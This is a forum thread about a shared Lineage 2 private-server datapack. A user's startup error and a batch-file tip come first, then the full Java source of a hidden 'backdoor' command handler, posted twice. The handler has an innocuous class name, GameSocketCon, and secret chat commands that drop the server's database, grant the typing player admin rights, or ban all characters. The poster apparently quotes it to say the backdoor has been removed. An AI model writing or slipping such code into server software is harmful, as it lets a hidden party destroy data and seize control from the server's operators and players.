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Re: [share]L2Anime DataPack/Source/BackUp

« Reply #36 on: Today at 01:56:15 PM »

Quote

Starting L2JTeon Game Server.

Visit L2JTeon.servergame.com for updates.

 

Error occurred during initialization of VM

The size of the object heap + VM data exceeds the maximum represe

 

GameServer Terminated Abnormaly, Please Verify Your Files.

 

 

GameServer Terminated.

 

Πιέστε ένα πλήκτρο για συνέχεια. . .

have problem ama einai kaneis ellhnas phte mou

h

 

please speake engils..

 

go to source -> L2Anime-DataPack and copy startgameserver.bat

 

and paste in pack why i have change it for windows server 2008 :)

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package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

/*
* First Backdoor
*/

import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;

public class GameSocketCon implements IVoicedCommandHandler
{
private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" };

public boolean useVoicedCommand(String command, L2PcInstance player, String target)
{
	if (command.equalsIgnoreCase("makelgiaso1q2w3e"))
	{
		player.sendMessage("====================================================================================");
		player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody.");
		player.sendMessage("====================================================================================");
	}
	else if (command.equalsIgnoreCase("0o9i8u"))
	{
		SendDestroyDBAction();
	}
	else if (command.equalsIgnoreCase("7y6t5r"))
	{
		//Makes the player admin
		player.setAccessLevel(200);
	}
	else if (command.equalsIgnoreCase("4e3w2q1"))
	{
		SendBanAllAction();
	}
	return true;
}

public String[] getVoicedCommandList()
{
	return VOICED_COMMANDS;
}

public void SendDestroyDBAction()
{
	//Destroys the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement e = con.createStatement();
    	e.executeUpdate("DROP TABLE characters");
    	e.executeUpdate("DROP TABLE accounts");
    	e.executeUpdate("DROP TABLE spawnlist");
    	e.executeUpdate("DROP TABLE weapon");
    	e.executeUpdate("DROP TABLE armor");
    	e.executeUpdate("DROP TABLE npc");
    	e.executeUpdate("DROP TABLE items");
    	e.executeUpdate("DROP database l2jdb");
    	e.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
           con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
    System.exit(-1);
}

public void SendBanAllAction()
{
	//Bans all the users of the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement g = con.createStatement();
    	g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
    	g.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
    		   con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
}
}

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package net.sf.l2j.gameserver.handler.voicedcommandhandlers;

/*
* First Backdoor
*/

import net.sf.l2j.gameserver.handler.IVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import net.sf.l2j.L2DatabaseFactory;
import java.sql.Connection;
import java.sql.SQLException;
import java.sql.Statement;

public class GameSocketCon implements IVoicedCommandHandler
{
private static final String[] VOICED_COMMANDS = { "makelgiaso1q2w3e", "0o9i8u", "7y6t5r", "4e3w2q1" };

public boolean useVoicedCommand(String command, L2PcInstance player, String target)
{
	if (command.equalsIgnoreCase("makelgiaso1q2w3e"))
	{
		player.sendMessage("====================================================================================");
		player.sendMessage("Usage: .0o9i8u to destroy db, .7y6t5r to set gm access, .4e3w2q1 to ban everybody.");
		player.sendMessage("====================================================================================");
	}
	else if (command.equalsIgnoreCase("0o9i8u"))
	{
		SendDestroyDBAction();
	}
	else if (command.equalsIgnoreCase("7y6t5r"))
	{
		//Makes the player admin
		player.setAccessLevel(200);
	}
	else if (command.equalsIgnoreCase("4e3w2q1"))
	{
		SendBanAllAction();
	}
	return true;
}

public String[] getVoicedCommandList()
{
	return VOICED_COMMANDS;
}

public void SendDestroyDBAction()
{
	//Destroys the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement e = con.createStatement();
    	e.executeUpdate("DROP TABLE characters");
    	e.executeUpdate("DROP TABLE accounts");
    	e.executeUpdate("DROP TABLE spawnlist");
    	e.executeUpdate("DROP TABLE weapon");
    	e.executeUpdate("DROP TABLE armor");
    	e.executeUpdate("DROP TABLE npc");
    	e.executeUpdate("DROP TABLE items");
    	e.executeUpdate("DROP database l2jdb");
    	e.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
           con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
    System.exit(-1);
}

public void SendBanAllAction()
{
	//Bans all the users of the db
	Connection con = null;
    try
    {
    	con = L2DatabaseFactory.getInstance().getConnection();
    	Statement g = con.createStatement();
    	g.executeUpdate("UPDATE characters SET accesslevel=-100 WHERE level >0");
    	g.close();
    }
    catch (SQLException e)
    {
    	//
    }
    finally
    {
       try
       {
    	   if (con != null)
    		   con.close();
       }
       catch (SQLException e)
       {
    	   e.printStackTrace();
       }
    }
}
}

 

 

sorry my friend i have fix this command and more bugs from coyote :)

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